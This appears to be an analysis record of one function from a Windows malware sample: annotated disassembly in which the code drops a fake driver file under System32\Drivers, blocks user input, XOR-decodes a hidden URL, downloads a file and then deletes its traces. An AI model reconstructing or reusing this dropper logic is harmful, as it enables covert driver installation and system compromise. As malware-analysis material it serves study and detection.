Function at 0x14000e580
Capabilities:
Delete file
Download and write a file
Download url
Encode data using xor
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov rax, qword [0x1400c1840]
xor rax, rsp
mov qword [rbp + 0x60], rax
xor esi, esi
lea ecx, [rsi + 8]
call fcn.1400101b0
test rax, rax
je 0x14000e5c5
lea rcx, [0x14000ade0]
mov qword [rax], rcx
jmp 0x14000e5c8
mov rax, rsi
mov qword [rbp + 0x50], rax
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x140003220]
xor edx, edx
xor ecx, ecx
call fcn.140022ce4
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14000e852
cmp dword [rsp + 0x48], 0
je 0x14000e847
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x50]
call fcn.14000eb30
test eax, eax
jne 0x14000e847
mov rcx, qword [str.C:WindowsSystem32DriversRealtekHDAudioService.sys]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rbp + 0x50], esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10000000
mov rcx, qword [str.C:WindowsSystem32Driverswinsystem64x.sys]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x14000e6a8
cmp rdi, 0xffffffffffffffff
je 0x14000e814
mov qword [rsp + 0x20], rsi
lea r9, [rbp + 0x50]
mov r8d, 0x6650
lea rdx, [0x1400bb0c0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x14000e814
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
movdqa xmm0, xmmword [0x1400921e0]
movdqa xmmword [rbp - 0x70], xmm0
movdqa xmm1, xmmword [0x140092070]
movdqa xmmword [rbp - 0x60], xmm1
movdqa xmm0, xmmword [0x140092290]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm1, xmmword [str.KBLHLO]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm0, xmmword [0x140092360]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x140092310]
movdqa xmmword [rbp - 0x20], xmm1
movdqa xmm0, xmmword [0x140092370]
movdqa xmmword [rbp - 0x10], xmm0
movdqa xmm1, xmmword [0x140092330]
movdqa xmmword [rbp], xmm1
movdqa xmm0, xmmword [0x1400923a0]
movdqa xmmword [rbp + 0x10], xmm0
movdqa xmm1, xmmword [0x140092300]
movdqa xmmword [rbp + 0x20], xmm1
movdqa xmm0, xmmword [0x140092320]
movdqa xmmword [rbp + 0x30], xmm0
mov dword [rbp + 0x40], 0x989ec99c
mov word [rbp + 0x44], 0xd8
mov byte [rbp + 0x46], 1
mov rcx, rsi
lea eax, [rcx + 0x4a]
xor byte [rbp + rcx - 0x70], al
inc rcx
cmp rcx, 0xb5
jb 0x14000e756
mov byte [rbp + 0x46], 0
movdqa xmm0, xmmword [0x140092250]
movdqu xmmword [rsp + 0x50], xmm0
movdqa xmm1, xmmword [str.7hnr]
movdqu xmmword [rsp + 0x60], xmm1
movdqa xmm0, xmmword [0x1400920c0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x40f551f
mov word [rbp - 0x7c], 0xd
mov byte [rbp - 0x7a], 1
mov rcx, rsi
nop dword [rax + rax]
lea eax, [rcx + 0x4a]
xor byte [rsp + rcx + 0x50], al
inc rcx
cmp rcx, 0x35
jb 0x14000e7b0
mov byte [rbp - 0x7a], 0
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x70]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor r8d, r8d
mov rdx, qword [str.C:WindowsSystem32DriversRealtekHDAudioService.sys]
mov rcx, qword [str.C:WindowsSystem32Driverswinsystem64x.sys]
call fcn.140002750
mov rcx, qword [str.C:WindowsSystem32Driverswinsystem64x.sys]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [str.C:WindowsSystem32DriversRealtekHDAudioService.sys]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, str.pause
call fcn.14002226c
xor eax, eax
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14000fef0
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov ecx, 1
call fcn.14000ef1c
nop
mov dword [rsp + 0x48], esi
mov ecx, 6
call fcn.14000ef1c
int3